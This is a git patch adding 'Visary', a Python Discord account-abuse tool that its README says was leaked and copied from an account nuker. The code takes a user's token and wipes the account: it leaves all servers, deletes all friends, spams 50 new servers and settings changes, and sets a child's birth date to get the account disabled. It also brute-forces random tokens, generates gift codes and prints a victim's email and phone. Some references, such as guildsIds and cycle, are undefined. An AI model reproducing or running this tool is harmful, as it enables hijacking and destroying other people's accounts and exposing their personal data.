From 329ac679ad1e29d1c4a9386431e2517dfeef4169 Mon Sep 17 00:00:00 2001 From: 12 Date: Mon, 9 Nov 2020 23:50:33 -0500 Subject: [PATCH] e --- README.md | 33 ++++++ requirements.txt | 3 + visary.py | 267 +++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 303 insertions(+) create mode 100644 README.md create mode 100644 requirements.txt create mode 100644 visary.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..282ee72 --- /dev/null +++ b/README.md @@ -0,0 +1,33 @@ +# Visary + +Visary is a tool made by **rezizt** and leaked by me. + +## Installation + +```bash +pip install -r requirements.txt +``` + +## Usage + +```bash +python visary.py +``` + +## Rezizt + +banning me from your server will be useless. + + + +## Skid + + Visary is a skid of [JAJAJA](https://github.com/azael1337/Jajaja-Account-Nuker) + +Proofs: + + + +## Discord + +! Игнатий🌌#1292 \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..002b6c0 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +colorama +requests +pyfiglet \ No newline at end of file diff --git a/visary.py b/visary.py new file mode 100644 index 0000000..7b88377 --- /dev/null +++ b/visary.py @@ -0,0 +1,267 @@ +# -*- coding: utf-8 -*- + +from colorama import Fore, init +import subprocess, requests, ctypes, os, webbrowser, pyfiglet +from pathlib import Path +import random, string +from requests import Session +print(Fore.RED + '\n -- ' + Fore.WHITE + 'Loading...') +os.system('cls') + +def badges(token): + while True: + url = 'https://discord.com/api/v6/hypesquad/online' + option = str(input('[1] Hypersquad Bravery\n[2] Hypersquad Brilliance\n[3] Hypersquad Balance\n\n> Select a Discord Badge: ')) + if option in ('1', 'Hypersquad Bravery', 'House of Bravery', 'Bravery'): + house_of_bravery = requests.post(url, json={'house_id': '1'}, headers={'authorization': token}) + if house_of_bravery.status_code == 204: + print('> Status: Success | Type: Hypersquad Bravery\n') + else: + if house_of_bravery.status_code == 429: + rate_limited() + else: + if house_of_bravery.status_code == 401: + invalid_token() + break + else: + print('%s\n' % house_of_bravery.text) + elif option in ('2', 'Hypersquad Brilliance', 'House of Brilliance', 'Brilliance'): + house_of_brilliance = requests.post(url, json={'house_id': '2'}, headers={'authorization': token}) + if house_of_brilliance.status_code == 204: + print('> Status: Success | Type: Hypersquad Brilliance\n') + else: + if house_of_brilliance.status_code == 429: + rate_limited() + else: + if house_of_brilliance.status_code == 401: + invalid_token() + break + else: + print('%s\n' % house_of_brilliance.text) + elif option in ('3', 'Hypersquad Balance', 'House of Balance', 'Balance'): + house_of_balance = requests.post(url, json={'house_id': '3'}, headers={'authorization': token}) + if house_of_balance.status_code == 204: + print('> Status: Success | Type: Hypersquad Balance\n') + else: + if house_of_balance.status_code == 429: + rate_limited() + else: + if house_of_balance.status_code == 401: + invalid_token() + break + else: + print('%s\n' % house_of_balance.text) + else: + print('> Status: Error | Invalid option\n') + + +def unverify(token): + headers = {'Authorization': token} + return requests.get('https://discord.com/api/v6/guilds/0/members', headers=headers) + + +def Nitrogen(): + init(convert=True) + print(('%s how many codes?%s ' % (Fore.CYAN, Fore.WHITE)), end='') + amount = int(input()) + for i in range(amount): + code = 'https://discordapp.com/gifts/%s' % ''.join(random.choices((string.ascii_letters + string.digits), k=16)) + print('Code: %s' % code) + with open('codes.txt', 'a') as (f): + f.write('%s\n' % code) + + +def tokenDisable(token): + r = requests.patch('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token}, json={'date_of_birth': '2015-7-16'}) + if r.status_code == 400: + print(f"[{Fore.RED}+{Fore.RESET}] Account disabled successfully") + input('Press any key to exit...') + else: + print(f"[{Fore.RED}-{Fore.RESET}] Invalid token") + input('Press any key to exit...') + + +def tokenFuck(token): + headers = {'Authorization': token} + print(f"[{Fore.RED}+{Fore.RESET}] Nuking...") + for guild in guildsIds: + requests.delete(f"https://discord.com/api/v6/users/@me/guilds/{guild}", headers=headers) + else: + for friend in friendsIds: + requests.delete(f"https://discord.com/api/v6/users/@me/relationships/{friend}", headers=headers) + else: + for i in range(50): + payload = {'name':f"JAJAJA {i}", + 'region':'europe', 'icon':None, 'channels':None} + requests.post('https://discord.com/api/v6/guilds', headers=headers, json=payload) + else: + modes = cycle(['light', 'dark']) + while True: + setting = {'theme':next(modes), + 'locale':random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} + requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json=setting) + + +def tokengen(): + chars = '-abcdefghijklmnopq_rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' + ascii_banner = pyfiglet.figlet_format('Token generator') + print(ascii_banner) + file_path = Path('tokens.txt') + ilosc = input('How many tokens to generate: \n') + ilosc = int(ilosc) + os.system('cls') + print('Generating working tokens.....') + print('Please wait') + working = '[WORK] ' + err = '[ERROR] ' + for i in range(ilosc): + token1 = '' + token2 = '' + for c in range(84): + token1 += random.choice(chars) + else: + token2 = 'mfa.' + token1 = str(token1) + token2 = str(token2) + token = token1 + token2 + headers = {'Authorization': token} + src = requests.get('https://discord.com/api/v6/auth/login', headers=headers) + try: + if src.status_code == 200: + workingtoken = working + token + print(workingtoken) + else: + print(f"Invalid Token {token}") + except Exception: + print("Yeah we can't contact discordapp.com") + + +def tokencheck(token): + headers = {'Authorization':token, + 'Content-Type':'application/json'} + src = requests.get('https://discordapp.com/api/v6/auth/login', headers=headers) + try: + if src.status_code == 200: + print('Token Works!') + else: + print('Invalid Token.') + except Exception: + print("Yeah we can't contact discordapp.com") + + +def tokenInfo(token): + headers = {'Authorization':token, + 'Content-Type':'application/json'} + r = requests.get('https://discord.com/api/v6/users/@me', headers=headers) + if r.status_code == 200: + userName = r.json()['username'] + '#' + r.json()['discriminator'] + userID = r.json()['id'] + phone = r.json()['phone'] + email = r.json()['email'] + mfa = r.json()['mfa_enabled'] + print(f"\n [{Fore.RED}User ID{Fore.RESET}] {userID}\n [{Fore.RED}User Name{Fore.RESET}] {userName}\n [{Fore.RED}2 Factor{Fore.RESET}] {mfa}\n [{Fore.RED}Email{Fore.RESET}] {email}\n [{Fore.RED}Phone number{Fore.RESET}] {phone if phone else ''}\n [{Fore.RED}Token{Fore.RESET}] {token}\n ") + input() + + +def three(): + print(getBanner3()) + print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='') + choice = str(input(' : ')) + if choice == '1': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + unverify(token) + else: + if choice == '2': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + badges(token) + + +def two(): + print(getBanner2()) + print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='') + choice = str(input(' : ')) + if choice == '1': + os.system('cls') + print('Error not finnished') + else: + if choice == '2': + os.system('cls') + Nitrogen() + + +def one(): + print(getBanner1()) + print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='') + choice = str(input(' : ')) + if choice == '1': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + tokencheck(token) + else: + if choice == '2': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + tokenInfo(token) + else: + if choice == '3': + os.system('cls') + tokengen() + else: + if choice == '4': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + tokenFuck(token) + else: + if choice == '5': + os.system('cls') + print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='') + token = input(' : ') + tokenDisable(token) + + +def getBanner3(): + banner3 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Misc commands\n [{Fore.RED}1[+]{Fore.RESET}] Unverify email\n [{Fore.RED}2[+]{Fore.RESET}] change hypesquad\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}") + return banner3 + + +def getBanner2(): + banner2 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Nitro commands\n \n [{Fore.RED}1[+]{Fore.RESET}] Nitro checker(not done)\n [{Fore.RED}2[+]{Fore.RESET}] Nitro Generator\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}") + return banner2 + + +def getBanner1(): + banner1 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Token commands\n [{Fore.RED}1[+]{Fore.RESET}] Token checker\n [{Fore.RED}2[+]{Fore.RESET}] Token info\n [{Fore.RED}3[+]{Fore.RESET}] Token Generator\n [{Fore.RED}4[+]{Fore.RESET}] Token Nuker\n [{Fore.RED}5[+]{Fore.RESET}] Token Terminator\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}") + return banner1 + + +def getBanner(): + banner = f"\n\n\n Made by REZIZT. \n Discord : https://discord.gg/6GYVCq9\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ \n\n [{Fore.RED}1[+]{Fore.RESET}] Token commands\n [{Fore.RED}2[+]{Fore.RESET}] Nitro commands\n [{Fore.RED}3[+]{Fore.RESET}] Misc commands\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}") + return banner + + +def startMenu(): + print(getBanner()) + print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='') + choice = str(input(' : ')) + if choice == '1': + os.system('cls') + one() + else: + if choice == '2': + os.system('cls') + two() + else: + if choice == '3': + os.system('cls') + three() + + +if __name__ == '__main__': + startMenu() \ No newline at end of file